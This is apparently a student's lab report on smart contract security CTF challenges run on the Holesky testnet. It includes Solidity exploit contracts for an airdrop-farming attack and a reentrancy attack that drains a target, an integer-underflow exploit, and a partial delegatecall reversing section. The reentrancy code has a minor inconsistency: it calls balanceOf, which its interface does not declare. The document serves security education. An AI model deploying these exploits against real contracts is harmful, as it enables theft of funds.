Skip to content

lab-04: 智能合约安全基础

:material-circle-edit-outline: 约 1084 个字 :fontawesome-solid-code: 91 行代码 :material-clock-time-two-outline: 预计阅读时间 5 分钟

[!ABSTRACT]

俞仲炜 3220104929 241123

以太坊区块链的基本操作 (20 pts)

[!QUOTE]

向任意地址发送出一条 0.1 ETH 的转账交易,并将交易的 hash 和在区块浏览器上的截图写在实验报告中

交易 hash

0x43324af28de6e603cc3aec39b6ee3b07e5f0ad8b75358e885f5b9f049d608705

区块浏览器上的截图

image-20241123100626136

以太坊智能合约基础 (20 pts)

[!QUOTE]

在 holesky 测试链上部署任意一个智能合约,调用其中的函数,并将合约的地址同样写在实验报告中

部署任意一个智能合约

参考 wiki 示例的合约,部署了一个简单的变量修改与获取功能的合约,变量初始化为 1

// SPDX-License-Identifier: GPL-3.0
pragma solidity >= 0.1.0 < 0.9.0;

contract cont_test {
    uint256 public number;

    constructor() {
        number = 1;
    }
    function set(uint256 x) public {
        number = x;
    }
    function get() public view returns (uint256) {
        return number;
    }
}

如下图,将 number 修改为 1919810 并 get,返回值为 1919810,说明合约功能正常

image-20241123105410917

合约地址

0x063772EEFE9f9B11f4f0Cf85eEEFb04932a76b9b

整型溢出漏洞利用 (20 pts)

[!QUOTE]

你需要在实验报告中描述你的思路、攻击方法,并粘贴你的目标合约地址、flag 和其他必要过程。

思路

在 solidity 0.8.0 之前,编译后的字节码还不会自动验证是否发生整型溢出,也就是说一个 uint 类型的数被减去了一个更大的数,会往下溢出,可以得到一个更大的正数

注意到目标合约的 transfer 函数里,有这么一段代码:

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

可见无论是 require 的检测还是 balances 的修改,都可以通过整型溢出漏洞进行攻击

由此我们可以修改自己账户的 balance,达到触发 SendFlag 的要求:

require(balances[msg.sender] > 20);
emit SendFlag();

攻击方法

首先初始化 user1 的 balance 为 20,然后由 user1 向 user2 执行 transfer,大小为 21,由此利用整型溢出漏洞,使得 user1 的 balance 突破天际达到 uint256 的上限,满足了 balances[msg.sender] > 20 的要求

image-20241204162924671

目标合约地址

0x5c01eA47324c50003B57F57Be787032877Efc8D8

flag

image-20241204161850820

薅羊毛攻击 (20 pts)

aka 空投狩猎(airdrop hunting)

[!QUOTE]

请完成本题,并在实验报告中描述你的思路、攻击方法,并粘贴你的攻击合约源码(exp)、目标合约地址、flag 和其他必要过程。

思路

每个账户可以凭空领取一些代币一次,我们可以创建一堆账户分别领取这次空投,再汇总到一起

攻击方法

用一个主合约创建足够多的子合约,每个子合约分别薅一份羊毛并转给主合约,最后用主合约去 get flag

合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IAirDrop {
    function profit() external;
    function getFlag() external;
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract AutoAirDrop {
    IAirDrop public airDrop;

    constructor(address _airDropAddress) {
        airDrop = IAirDrop(_airDropAddress);
    }

    function createAndCollect(uint256 numAccounts) public {

        for (uint256 i = 0; i < numAccounts; i++) {
            AirDropCollector collector = new AirDropCollector(address(airDrop), address(this));
            collector.collect();
        }
    }

    function balanceOf() public view returns (uint256) {
        return airDrop.balanceOf(address(this));
    }

    function getFlag() public {
        require(airDrop.balanceOf(address(this)) >= 500, "wtf");
        airDrop.getFlag();
    }
}

contract AirDropCollector {
    IAirDrop public airDrop;
    address public mainContract;

    constructor(address _airDropAddress, address _mainContract) {
        airDrop = IAirDrop(_airDropAddress);
        mainContract = _mainContract;
    }

    function collect() public {
        airDrop.profit();
        airDrop.transfer(mainContract, airDrop.balanceOf(address(this)));
    }
}

目标合约地址

0x2e68E0A7a07b77Ef4Fe898Bf55Bb16360ba4E2d6

flag

image-20241204192029141

重入攻击 (20 pts)

[!QUOTE]

你可以通过部署额外的合约来利用重入攻击这个合约,同样你需要完成本题,并在实验报告中描述你的思路、攻击方法,并粘贴你的攻击合约源码(exp)、目标合约地址、flag 和其他必要过程。

思路

重入攻击是区块链中非常经典的一个攻击方式,此事在以太坊历史上亦有记载

阅读目标合约源代码可以注意到,withdraw 函数会直接发以太币,如果接收者是合约,就会调用 receive 函数,那么我们就可以在 receive 函数里继续调用 withdraw,在这时 balances[msg.sender] 还并没有更新,withdraw 函数以为我们还在它那存有钱还没取,就会继续给我们发钱,同时又会调用 receive 函数,如此循环,直到掏空目标合约的所有钱

攻击方法

先给我们的合约 1 Finney (0.001 ETH)作为创业资金,然后调用 donate 函数存钱过去,使得我们合约的 balance 大于 0,如此就可以调用 withdraw 取回钱

receive 函数就负责收钱,同时继续调用 withdraw,完成闭环,直到把对面掏空

合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
    function isSolved() external view returns (bool);
}

contract Attack {
    IReentrance public Reentrance;

    constructor(address payable _ReentranceAddress) payable {
        Reentrance = IReentrance(_ReentranceAddress);
    }

    function attack() external {
        Reentrance.donate{value: 0.001 ether}(address(this));
        Reentrance.withdraw(0.001 ether);
    }

    receive() external payable {
        uint balance = Reentrance.balanceOf(address(this));
        if (balance > 0) {
            Reentrance.withdraw(balance);
        }
    }

    function isSolved() public view returns (bool) {
        return Reentrance.isSolved();
    }
}

目标合约地址

0x28b5eeC346Cab5e9D5339574b950F41E818D072c

flag

image-20241204214033289

合约逆向与 delegatecall 利用

[!reference]

智能合约安全系列文章之反编译篇-安全客 - 安全资讯平台

思路

首先通过 EVM Bytecode Decompiler | Dedaub Security Suite 网站获取目标合约的字节码,然后通过 Online Solidity Decompiler 将字节码反编译为 solidity 源代码

可以找到 getFlag 函数如下,根据函数名推测此函数为 get flag 函数:

function getFlag() {
    if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

    var temp0 = memory[0x40:0x60];
    log(memory[temp0:temp0 + memory[0x40:0x60] - temp0], [0x23ddb4dbb8577d03ebf1139a17a5c016963c43761e8ccd21eaa68e9b8ce6a68e]);
}

可见我们需要使得 msg.sender = storage[0x02]

攻击方式

合约源码

目标合约地址

0x9446db36eD5BA623dFEA25a4d2b965a38895eFD0

flag

Craft

字节码

0x608060405234801561001057600080fd5b50600436106100625760003560e01c806327d6974f146100675780633dc79422146100855780635bda8fa4146100a35780638da5cb5b146100bf578063f1e02620146100dd578063f9633930146100f9575b600080fd5b61006f610103565b60405161007c9190610484565b60405180910390f35b61008d610129565b60405161009a9190610484565b60405180910390f35b6100bd60048036038101906100b891906103aa565b61014d565b005b6100c761021b565b6040516100d49190610484565b60405180910390f35b6100f760048036038101906100f291906103aa565b610241565b005b61010161030d565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3beb26c427d03ceadbdaedc2f7aac4d9fc345b4fcbfc4b80654fee46dd7c349a826040516020016101b9929190610441565b6040516020818303038152906040526040516101d5919061046d565b600060405180830381855af49150503d8060008114610210576040519150601f19603f3d011682016040523d82523d6000602084013e610215565b606091505b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3beb26c427d03ceadbdaedc2f7aac4d9fc345b4fcbfc4b80654fee46dd7c349a826040516020016102ab929190610441565b6040516020818303038152906040526040516102c7919061046d565b600060405180830381855af49150503d8060008114610302576040519150601f19603f3d011682016040523d82523d6000602084013e610307565b606091505b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461036757600080fd5b7f23ddb4dbb8577d03ebf1139a17a5c016963c43761e8ccd21eaa68e9b8ce6a68e60405160405180910390a1565b6000813590506103a481610564565b92915050565b6000602082840312156103bc57600080fd5b60006103ca84828501610395565b91505092915050565b6103dc816104b5565b82525050565b6103f36103ee826104c7565b610550565b82525050565b60006104048261049f565b61040e81856104aa565b935061041e81856020860161051d565b80840191505092915050565b61043b61043682610513565b61055a565b82525050565b600061044d82856103e2565b60048201915061045d828461042a565b6020820191508190509392505050565b600061047982846103f9565b915081905092915050565b600060208201905061049960008301846103d3565b92915050565b600081519050919050565b600081905092915050565b60006104c0826104f3565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101561053b578082015181840152602081019050610520565b8381111561054a576000848401525b50505050565b6000819050919050565b6000819050919050565b61056d81610513565b811461057857600080fd5b5056fea2646970667358221220f3e9cb64c677ff0e95226d387dd1909dd21997b779b3c6a130ef317d1bad45f364736f6c63430008000033

DELEGATECALL 允许一个合约在另一个合约的上下文中执行代码,并且保留调用者的上下文

image-20241205153006074